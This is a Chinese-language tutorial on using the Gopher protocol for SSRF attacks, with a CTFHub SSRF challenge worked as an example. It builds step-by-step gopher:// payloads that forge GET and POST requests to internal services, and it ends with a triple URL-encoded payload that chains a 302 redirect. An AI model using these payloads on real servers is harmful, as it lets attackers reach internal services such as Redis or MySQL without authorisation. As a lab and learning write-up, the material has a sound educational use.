Gopher协议
Gopher协议
概述
Gopher是互联网早期的一种协议
在WWW出现之前,Gopher是Internet上最主要的信息检索工具,Gopher站点也是最主要的站点,使用tcp70端口
利用gopher协议可以攻击内网的 Redis、Mysql、FastCGI、Ftp 等,也可以发送 GET、POST 请求,这可以拓宽 SSRF 的攻击面
格式
1 | gopher://<host>:<port>/<gopher-path>_后接TCP数据流 |
gopher的默认端口是70
如果是post请求,回车换行要用到
%0d%0a
(post请求有几个必备请求头)基于post请求,如果有多个参数,也要把
&
进行URL编码(%26
)
Gopher发送HTTP请求
gopher协议支持发出GET、POST请求:可以先截获get请求包和post请求包,在构成符合gopher协议的请求。gopher协议是ssrf利用中最强大的协议
GET型
格式
构造HTTP数据包
URL编码、替换回车换行为%0d%0a
发送gopher协议
问号(?)需要转码为URL编码,也就是
%3f
回车换行要变为%0d%0a,
但如果直接用工具转,可能只会有%0a
在HTTP包的最后要加%0d%0a
,代表消息结束(具体可研究HTTP包结束)
示例
源码:
1 |
|
请求:
1 | GET /ssrf/get.php?name=ikunma |
构造请求包:
1 | gopher://127.0.0.1/_GET /ssrf/get.php?name=ikunma HTTP/1.1 |
编码(这边是一次,有的要两次)
1 | gopher://127.0.0.1:80/_GET%20/ssrf/base/get.php%3fname=ikunma%20HTTP/1.1%0d%0AHost:%20127.0.0.1%0d%0A |
注:URL 编码中,%0A 和 %0a 实际上是表示相同的字符,即换行符。它们之间的区别在于大小写。在 URL 编码中,字母的大小写通常是不敏感的,因此 %0A 和 %0a 都会被解释为换行符
POST型
格式:
1 | POST /ssrf/post.php |
写包:
1 | gopher://127.0.0.1:80/_POST /ssrf/base/post.php HTTP/1.1 |
url编码(实际操作要两次):
1 | gopher://127.0.0.1:80/_POST%20%2Fssrf%2Fbase%2Fpost.php%20HTTP%2F1.1%0D%0AHost%3A127.0.0.1%0D%0AContent-Type%3Aapplication%2Fx-www-form-urlencoded%0D%0AContent-Length%3A11%0D%0A%0D%0Aname%3Dikunma%0D%0A |
编码次数
传参经过多少次跳转就需要经过多少次url编码
直接curl后接
gopher://
就编码一次利用
?url=gopher://
就编码两次还经过302跳转,就编码三次。
例题
CTFHub-SSRF系列-POST请求
先本地访问
1 | ?url=127.0.0.1/flag.php |
源码:
1 | <form action="/flag.php" method="post"> |
再访问一下302.php
1 | /302.php |
源码:
1 | <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> |
这里通过302.php的跳转来实现gopher协议伪造
将
1 | 127.0.0.1/302.php?url=gopher://127.0.0.1:80/_POST /flag.php HTTP/1.1 |
url编码3次
1 | 127.0.0.1%252F302.php%253Furl%253Dgopher%253A%252F%252F127.0.0.1%253A80%252F_POST%252520%25252Fflag.php%252520HTTP%25252F1.1%25250D%25250AHost%25253A%252520127.0.0.1%25253A80%25250D%25250AContent-Type%25253A%252520application%25252Fx-www-form-urlencoded%25250D%25250AContent-Length%25253A%25252036%25250D%25250A%25250D%25250Akey%25253Da1fd25f0d3ac467c1368019781a49713 |
接在?url=之后